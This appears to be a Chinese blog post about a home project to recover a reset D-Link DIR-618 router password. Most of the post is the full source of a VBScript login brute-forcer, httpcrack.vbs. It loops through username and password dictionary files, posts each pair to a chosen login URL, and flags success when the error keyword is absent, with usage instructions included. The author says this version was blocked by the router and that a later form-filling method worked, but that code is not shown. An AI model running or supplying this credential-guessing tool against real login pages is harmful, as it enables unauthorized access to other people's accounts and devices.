专案进度: 开发中...

由于特急用，开发仓促，许多功能未完善

为了追求完美，最终目标是可让各类型路由后台登录网页通用(至少DLINK通用)，将持续开发

目前已完成版本:

V1.0程序

V2.0程序

V2.5程序

源码将于开发告一段落后再行开源

//

缘起:

家中无线基地台密码被重设，家人也忘了记下

大家都是电脑小白，无奈之下只好找我修

本来想按下RESET全部重来，但觉得这方法太LOW太没挑战性

评估了允许的时间

于是就快速写了个暴力破解器。

.

.

.

过程中遇到许多困难，

首先，要破解的无线基地台的型号是D-Link DIR-618

此机器特别之处在于身分验证不是使用Basic Auth

而是以网页表单登录

所以一开始为了开发效率找了个代码修改下，然后找出表单栏位的字段进行破解

但却不成功

因为会报错:Your client has issued a malformed or illegal request.

很明显困难之处在于网页有防堵异常登录的机制

所以一般伪造数据封包自动化填表登入无法破解

httpcrack.vbs

Dim i,l,u,p,ul,pl
   l=0
   i=0
   u=0
   p=0
Dim url,user1,pass1,search
Dim user(),pass()
set arg=wscript.arguments
If (LCase(Right(Wscript.fullname,11))="Wscript.Exe") Then
Wscript.Quit
End If
if arg.count=0 or arg.length<> 8 then
Call useage()
Wscript.Quit
Else 
'-------------------------------功能實現-------------------------------------------------------
Call init()
Call readFile()
Call main()
End If 
'-------------------------------功能實現-------------------------------------------------------
Sub main()
Dim result 
Dim postStr
For i=0 To ul-1
For l=0 To pl-1
   postStr=user1&"="&user(i)&"&"&pass1&"="&pass(l)
   wsh.echo "Checking...... "&user(i)&"------"&pass(l)
   result = BytesToBstr(GetData(url,postStr),"UTF-8")
   'MsgBox result
   If(InStr(result,search)=0) Then  '沒有找到錯誤關鍵字，返回0，若有找到則返回位置，大於0
	'源代碼判斷>0，但是我們無法得知成功情境下才需要破解器，因此必須假設為找不到錯誤信息才算成功，在此以最精簡的方式修改
    wsh.echo ""
    wsh.echo "Good Job !!!"&vbcrlf&"You Have Found The Result"& vbcrlf&"username: "&user(i)&" -------password: "&pass(l)
    wscript.quit
   End If 
next
Next
wsh.echo "Sorry I can't Find The Result,Please Expand The Dic."
End sub
'-------------------------------使用說明-------------------------------------------------------
Sub useage()
wsh.echo string(79,"*")
wsh.echo "此工具作為暴力破解用戶名密碼之用，條件是沒有認證碼做驗證"
wsh.echo ""
wsh.echo "HttpCrack V2.0"
wsh.echo "Made by 孤水繞城 "
wsh.echo "ReBuild by JordanYeh "
wsh.echo "QQ:859496225 Email: jordan5226@gmail.com"
wsh.echo ""
wsh.echo "Usage:"
wsh.echo "cscript "&wscript.scriptname&" -l(接收用戶名密碼的url) -u(用戶名字段名) -p(密碼字段名) -s(返回錯誤信息關鍵字)"
wsh.echo "示例如下：cscript "&wscript.scriptname&" -l http://localhost/login.PHP -u user -p pass -s error"
wsh.echo string(79,"*")&vbcrlf
End Sub
'-------------------------------使用說明-------------------------------------------------------
'-------------------------------讀取參數-------------------------------------------------------
Sub init()
Dim s
s=0
For s=0 To 7
   If(arg(s)="-l") Then
    url=arg(s+1)
   End If 
   If(arg(s)="-u") Then 
    user1=arg(s+1)
   End If 
   If(arg(s)="-p") Then 
    pass1=arg(s+1)
   End If 
   If(arg(s)="-s") Then 
    search=arg(s+1)
   End If 
Next
If url<>"" And user1<>"" And pass1<>"" And search<>"" Then

Else 
   Call useage()
   wscript.quit
End If
End Sub
'------------------------------該部分用於讀取user和pass字典----------------------------------
Sub readFile()
Dim path,length,fullpath,scriptName,str
str="gsrc"
fullpath=wscript.ScriptFullName
length=InStr(fullpath,scriptName)
path=Mid(fullpath,1,length-1)
Set fso=CreateObject("Scripting.FileSystemObject")
If fso.fileExists(path&"user.txt") And fso.fileExists(path&"pass.txt") Then
   Set otfuser=fso.OpenTextFile(path&"user.txt")
   Set otfpass=fso.OpenTextFile(path&"pass.txt")   
   Do While otfuser.AtEndOfLine <> True 
    ReDim Preserve user(i) 
    str=otfuser.readLine()
    str=RegReplace(str,"[\s]+","") '去除多餘空格 
    If(str<>"") then
     user(i)=str
    End If 
    i=i+1
   Loop
   ul=i
   i=0
   Do While otfpass.AtEndOfLine <> True 
    ReDim Preserve pass(i)
    pass(i)=otfpass.readLine() 
    i=i+1
   Loop
   pl=i
Else
   MsgBox("請確定user.txt和pass.txt放在"&path&"文件夾中")
   wscript.quit
End If 
Set otfuser=Nothing
Set otfpass=Nothing 
Set fso=Nothing
End Sub
Function RegReplace(ByVal str1,ByVal patrn,ByVal replStr) 
      Dim regEx 
      Set regEx = New RegExp 
      regEx.Pattern = patrn 
      regEx.MultiLine = True 
      regEx.IgnoreCase = True 
      regEx.Global = True 
      RegReplace = regEx.Replace(str1,replStr) 
      set regEx = Nothing 
End Function
'------------------------------該部分用於讀取user和pass----------------------------------
'------------------------------該部分用於提交數據----------------------------------------
Function GetData(PostUrl,PostStr) 
Dim Http
Set Http = CreateObject("Microsoft.XMLHTTP")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.Send PostStr
GetData = .ResponseBody
End With
Set Http = Nothing
End Function
Function BytesToBstr(Body,Cset)
Dim objstream
Set objstream = CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write Body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadTExt
objstream.Close
Set objstream = Nothing
End Function
'------------------------------該部分用於提交數據----------------------------------------
wscript.quit

也许有存在方法可以欺骗此网页让数据合法化

但是我没有时间研究了，特急啊

既然改封包无法成功，那我只好用极端的方法了

直接自动填表送出

VB语言则是完成这个过程的首选，虽然我不太喜欢用VB，但也只能将就了

经过短时间的奋战，最终成功破解!